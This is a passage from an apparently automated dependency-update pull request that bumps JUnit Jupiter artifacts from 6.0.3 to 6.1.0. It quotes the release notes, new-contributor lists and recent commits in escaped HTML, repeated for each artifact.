6.1.0 = Platform 6.1.0 + Jupiter 6.1.0 + Vintage 6.1.0\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0/release-notes.html\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JarvisCraft\"\u003e\u003ccode\u003e@​JarvisCraft\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5633\"\u003ejunit-team/junit-framework#5633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maran23\"\u003e\u003ccode\u003e@​Maran23\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5644\"\u003ejunit-team/junit-framework#5644\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-RC1 = Platform 6.1.0-RC1 + Jupiter 6.1.0-RC1 + Vintage 6.1.0-RC1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-RC1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mariokhoury4\"\u003e\u003ccode\u003e@​mariokhoury4\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/4574\"\u003ejunit-team/junit-framework#4574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Ogu1208\"\u003e\u003ccode\u003e@​Ogu1208\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5145\"\u003ejunit-team/junit-framework#5145\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HyungGeun94\"\u003e\u003ccode\u003e@​HyungGeun94\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5271\"\u003ejunit-team/junit-framework#5271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yalishevant\"\u003e\u003ccode\u003e@​yalishevant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5316\"\u003ejunit-team/junit-framework#5316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JINU-CHANG\"\u003e\u003ccode\u003e@​JINU-CHANG\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5290\"\u003ejunit-team/junit-framework#5290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jaschdoc\"\u003e\u003ccode\u003e@​jaschdoc\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5427\"\u003ejunit-team/junit-framework#5427\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kawshikbuet17\"\u003e\u003ccode\u003e@​kawshikbuet17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5561\"\u003ejunit-team/junit-framework#5561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msridhar\"\u003e\u003ccode\u003e@​msridhar\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5602\"\u003ejunit-team/junit-framework#5602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-M1 = Platform 6.1.0-M1 + Jupiter 6.1.0-M1 + Vintage 6.1.0-M1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-M1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vy\"\u003e\u003ccode\u003e@​vy\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5041\"\u003ejunit-team/junit-framework#5041\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Pankraz76\"\u003e\u003ccode\u003e@​Pankraz76\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5006\"\u003ejunit-team/junit-framework#5006\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/arukiidou\"\u003e\u003ccode\u003e@​arukiidou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5066\"\u003ejunit-team/junit-framework#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laeubi\"\u003e\u003ccode\u003e@​laeubi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5092\"\u003ejunit-team/junit-framework#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jihun4452\"\u003e\u003ccode\u003e@​jihun4452\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5088\"\u003ejunit-team/junit-framework#5088\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TWiStErRob\"\u003e\u003ccode\u003e@​TWiStErRob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5133\"\u003ejunit-team/junit-framework#5133\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0dc3af1cb1973d257b5bc75d81e02454d5e4e556\"\u003e\u003ccode\u003e0dc3af1\u003c/code\u003e\u003c/a\u003e Release 6.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/1d130020c85170edcb46ce7ed1f7f78824e37c04\"\u003e\u003ccode\u003e1d13002\u003c/code\u003e\u003c/a\u003e Prepare 6.1.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/072b2175bbd7b0b3b26f5d928550ec7a21e68268\"\u003e\u003ccode\u003e072b217\u003c/code\u003e\u003c/a\u003e Update plugin spotless to v8.5.0 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5668\"\u003e#5668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/3a53480218f4b752a9ca77506e10632cd483c0f8\"\u003e\u003ccode\u003e3a53480\u003c/code\u003e\u003c/a\u003e Update Gradle to v9.5.1 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5666\"\u003e#5666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0e18a20a9f98d063ae02b3ba19329143f5c7f034\"\u003e\u003ccode\u003e0e18a20\u003c/code\u003e\u003c/a\u003e Update zizmorcore/zizmor-action action to v0.5.4 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5669\"\u003e#5669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0a2634fb9cbbd057b02cf629d7d272c16d62be4b\"\u003e\u003ccode\u003e0a2634f\u003c/code\u003e\u003c/a\u003e Update github/codeql-action action to v4.35.5 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5671\"\u003e#5671\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/4dbd5561b00ac761a62c516bfaec51c212a2d60c\"\u003e\u003ccode\u003e4dbd556\u003c/code\u003e\u003c/a\u003e Restructure workflows to have single \u0026quot;status\u0026quot; job (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5670\"\u003e#5670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/f2194cebe377512cb0ade388c62a881a0bcf5d3e\"\u003e\u003ccode\u003ef2194ce\u003c/code\u003e\u003c/a\u003e Increase timeout to reduce flakiness\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/5c8fdd2df65b763151cccbe669ea9e1c3155efcd\"\u003e\u003ccode\u003e5c8fdd2\u003c/code\u003e\u003c/a\u003e Update dependency org.apache.groovy:groovy to v5.0.6 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5659\"\u003e#5659\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/43c6982324602582902c9bdb213fd5e007f9cf3d\"\u003e\u003ccode\u003e43c6982\u003c/code\u003e\u003c/a\u003e Update dependency org.slf4j:slf4j-jdk14 to v2.0.18 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5667\"\u003e#5667\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.junit.jupiter:junit-jupiter` from 6.0.3 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/junit-team/junit-framework/releases\"\u003eorg.junit.jupiter:junit-jupiter's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eJUnit 6.1.0 = Platform 6.1.0 + Jupiter 6.1.0 + Vintage 6.1.0\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0/release-notes.html\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JarvisCraft\"\u003e\u003ccode\u003e@​JarvisCraft\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5633\"\u003ejunit-team/junit-framework#5633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maran23\"\u003e\u003ccode\u003e@​Maran23\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5644\"\u003ejunit-team/junit-framework#5644\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-RC1 = Platform 6.1.0-RC1 + Jupiter 6.1.0-RC1 + Vintage 6.1.0-RC1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-RC1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mariokhoury4\"\u003e\u003ccode\u003e@​mariokhoury4\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/4574\"\u003ejunit-team/junit-framework#4574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Ogu1208\"\u003e\u003ccode\u003e@​Ogu1208\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5145\"\u003ejunit-team/junit-framework#5145\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HyungGeun94\"\u003e\u003ccode\u003e@​HyungGeun94\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5271\"\u003ejunit-team/junit-framework#5271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yalishevant\"\u003e\u003ccode\u003e@​yalishevant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5316\"\u003ejunit-team/junit-framework#5316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JINU-CHANG\"\u003e\u003ccode\u003e@​JINU-CHANG\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5290\"\u003ejunit-team/junit-framework#5290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jaschdoc\"\u003e\u003ccode\u003e@​jaschdoc\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5427\"\u003ejunit-team/junit-framework#5427\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kawshikbuet17\"\u003e\u003ccode\u003e@​kawshikbuet17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5561\"\u003ejunit-team/junit-framework#5561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msridhar\"\u003e\u003ccode\u003e@​msridhar\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5602\"\u003ejunit-team/junit-framework#5602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-M1 = Platform 6.1.0-M1 + Jupiter 6.1.0-M1 + Vintage 6.1.0-M1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-M1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vy\"\u003e\u003ccode\u003e@​vy\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5041\"\u003ejunit-team/junit-framework#5041\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Pankraz76\"\u003e\u003ccode\u003e@​Pankraz76\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5006\"\u003ejunit-team/junit-framework#5006\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/arukiidou\"\u003e\u003ccode\u003e@​arukiidou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5066\"\u003ejunit-team/junit-framework#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laeubi\"\u003e\u003ccode\u003e@​laeubi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5092\"\u003ejunit-team/junit-framework#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jihun4452\"\u003e\u003ccode\u003e@​jihun4452\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5088\"\u003ejunit-team/junit-framework#5088\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TWiStErRob\"\u003e\u003ccode\u003e@​TWiStErRob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5133\"\u003ejunit-team/junit-framework#5133\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0dc3af1cb1973d257b5bc75d81e02454d5e4e556\"\u003e\u003ccode\u003e0dc3af1\u003c/code\u003e\u003c/a\u003e Release 6.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/1d130020c85170edcb46ce7ed1f7f78824e37c04\"\u003e\u003ccode\u003e1d13002\u003c/code\u003e\u003c/a\u003e Prepare 6.1.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/072b2175bbd7b0b3b26f5d928550ec7a21e68268\"\u003e\u003ccode\u003e072b217\u003c/code\u003e\u003c/a\u003e Update plugin spotless to v8.5.0 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5668\"\u003e#5668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/3a53480218f4b752a9ca77506e10632cd483c0f8\"\u003e\u003ccode\u003e3a53480\u003c/code\u003e\u003c/a\u003e Update Gradle to v9.5.1 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5666\"\u003e#5666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0e18a20a9f98d063ae02b3ba19329143f5c7f034\"\u003e\u003ccode\u003e0e18a20\u003c/code\u003e\u003c/a\u003e Update zizmorcore/zizmor-action action to v0.5.4 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5669\"\u003e#5669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0a2634fb9cbbd057b02cf629d7d272c16d62be4b\"\u003e\u003ccode\u003e0a2634f\u003c/code\u003e\u003c/a\u003e Update github/codeql-action action to v4.35.5 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5671\"\u003e#5671\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/4dbd5561b00ac761a62c516bfaec51c212a2d60c\"\u003e\u003ccode\u003e4dbd556\u003c/code\u003e\u003c/a\u003e Restructure workflows to have single \u0026quot;status\u0026quot; job (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5670\"\u003e#5670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/f2194cebe377512cb0ade388c62a881a0bcf5d3e\"\u003e\u003ccode\u003ef2194ce\u003c/code\u003e\u003c/a\u003e Increase timeout to reduce flakiness\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/5c8fdd2df65b763151cccbe669ea9e1c3155efcd\"\u003e\u003ccode\u003e5c8fdd2\u003c/code\u003e\u003c/a\u003e Update dependency org.apache.groovy:groovy to v5.0.6 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5659\"\u003e#5659\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/43c6982324602582902c9bdb213fd5e007f9cf3d\"\u003e\u003ccode\u003e43c6982\u003c/code\u003e\u003c/a\u003e Update dependency org.slf4j:slf4j-jdk14 to v2.0.18 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5667\"\u003e#5667\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.junit.jupiter:junit-jupiter-api` from 6.0.3 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/junit-team/junit-framework/releases\"\u003eorg.junit.jupiter:junit-jupiter-api's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eJUnit 6.1.0 = Platform 6.1.0 + Jupiter 6.1.0 + Vintage 6.1.0\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0/release-notes.html\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JarvisCraft\"\u003e\u003ccode\u003e@​JarvisCraft\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5633\"\u003ejunit-team/junit-framework#5633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maran23\"\u003e\u003ccode\u003e@​Maran23\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5644\"\u003ejunit-team/junit-framework#5644\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-RC1 = Platform 6.1.0-RC1 + Jupiter 6.1.0-RC1 + Vintage 6.1.0-RC1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-RC1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mariokhoury4\"\u003e\u003ccode\u003e@​mariokhoury4\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/4574\"\u003ejunit-team/junit-framework#4574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Ogu1208\"\u003e\u003ccode\u003e@​Ogu1208\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5145\"\u003ejunit-team/junit-framework#5145\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HyungGeun94\"\u003e\u003ccode\u003e@​HyungGeun94\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5271\"\u003ejunit-team/junit-framework#5271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yalishevant\"\u003e\u003ccode\u003e@​yalishevant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5316\"\u003ejunit-team/junit-framework#5316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JINU-CHANG\"\u003e\u003ccode\u003e@​JINU-CHANG\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5290\"\u003ejunit-team/junit-framework#5290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jaschdoc\"\u003e\u003ccode\u003e@​jaschdoc\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5427\"\u003ejunit-team/junit-framework#5427\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kawshikbuet17\"\u003e\u003ccode\u003e@​kawshikbuet17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5561\"\u003ejunit-team/junit-framework#5561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msridhar\"\u003e\u003ccode\u003e@​msridhar\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5602\"\u003ejunit-team/junit-framework#5602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-M1 = Platform 6.1.0-M1 + Jupiter 6.1.0-M1 + Vintage 6.1.0-M1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-M1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vy\"\u003e\u003ccode\u003e@​vy\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5041\"\u003ejunit-team/junit-framework#5041\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Pankraz76\"\u003e\u003ccode\u003e@​Pankraz76\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5006\"\u003ejunit-team/junit-framework#5006\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/arukiidou\"\u003e\u003ccode\u003e@​arukiidou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5066\"\u003ejunit-team/junit-framework#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laeubi\"\u003e\u003ccode\u003e@​laeubi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5092\"\u003ejunit-team/junit-framework#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jihun4452\"\u003e\u003ccode\u003e@​jihun4452\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5088\"\u003ejunit-team/junit-framework#5088\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TWiStErRob\"\u003e\u003ccode\u003e@​TWiStErRob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5133\"\u003ejunit-team/junit-framework#5133\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: 